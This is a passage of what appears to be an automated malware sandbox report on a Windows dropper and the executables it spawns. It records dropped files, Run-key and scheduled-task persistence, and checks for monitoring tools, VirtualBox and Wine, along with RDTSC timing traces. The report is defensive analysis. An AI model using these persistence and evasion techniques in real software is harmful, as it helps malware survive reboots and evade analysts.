Source: e41fd24755.exe.11.dr	Static PE information: section name: entropy: 7.099721669445549
Source: random[1].exe0.11.dr	Static PE information: section name: oxdvgcpf entropy: 7.954207166929405
Source: d357e68128.exe.11.dr	Static PE information: section name: oxdvgcpf entropy: 7.954207166929405
Source: random[1].exe1.11.dr	Static PE information: section name: entropy: 7.8007537180413795
Source: 46218a4a07.exe.11.dr	Static PE information: section name: entropy: 7.8007537180413795

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDGCFHIDAKE.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDGCFHIDAKE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDGCFHIDAKE.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d357e68128.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 46218a4a07.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e41fd24755.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDGCFHIDAKE.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e41fd24755.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e41fd24755.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d357e68128.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d357e68128.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 46218a4a07.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 46218a4a07.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52059E second address: 51FDF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+122D1BB1h], edx 0x00000010 push dword ptr [ebp+122D0CC9h] 0x00000016 cld 0x00000017 call dword ptr [ebp+122D2DD5h] 0x0000001d pushad 0x0000001e pushad 0x0000001f mov dword ptr [ebp+122D17EDh], ecx 0x00000025 sub esi, dword ptr [ebp+122D2B94h] 0x0000002b popad 0x0000002c xor eax, eax 0x0000002e mov dword ptr [ebp+122D1BB1h], eax 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 or dword ptr [ebp+122D1BB1h], eax 0x0000003e mov dword ptr [ebp+122D29E8h], eax 0x00000044 jno 00007F892C6C1167h 0x0000004a mov esi, 0000003Ch 0x0000004f stc 0x00000050 pushad 0x00000051 mov dword ptr [ebp+122D1BB1h], edi 0x00000057 mov dx, 64CBh 0x0000005b popad 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 jmp 00007F892C6C1173h 0x00000065 lodsw 0x00000067 xor dword ptr [ebp+122D17F5h], edi 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 sub dword ptr [ebp+122D17F5h], esi 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b cmc 0x0000007c nop 0x0000007d jns 00007F892C6C116Eh 0x00000083 jno 00007F892C6C1168h 0x00000089 push eax 0x0000008a push edx 0x0000008b push eax 0x0000008c push edx 0x0000008d push eax 0x0000008e push edx 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FDF1 second address: 51FDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FDF5 second address: 51FDF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699E42 second address: 699E4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699E4B second address: 699E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F892C6C1166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A16A second address: 69A183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F892C71B56Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A5B9 second address: 69A5F3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F892C6C1175h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F892C6C1175h 0x0000000f jmp 00007F892C6C116Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C94E second address: 69C958 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C958 second address: 69C95C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C95C second address: 69C97A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F892C71B566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F892C71B56Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C97A second address: 69C983 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C983 second address: 69C994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C994 second address: 69C998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CA85 second address: 69CA89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CA89 second address: 69CA93 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CA93 second address: 69CB01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F892C71B570h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F892C71B579h 0x00000013 push 00000000h 0x00000015 mov edx, 1E203208h 0x0000001a call 00007F892C71B569h 0x0000001f jmp 00007F892C71B56Eh 0x00000024 push eax 0x00000025 jne 00007F892C71B570h 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f push edx 0x00000030 jns 00007F892C71B56Ch 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB01 second address: 69CB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
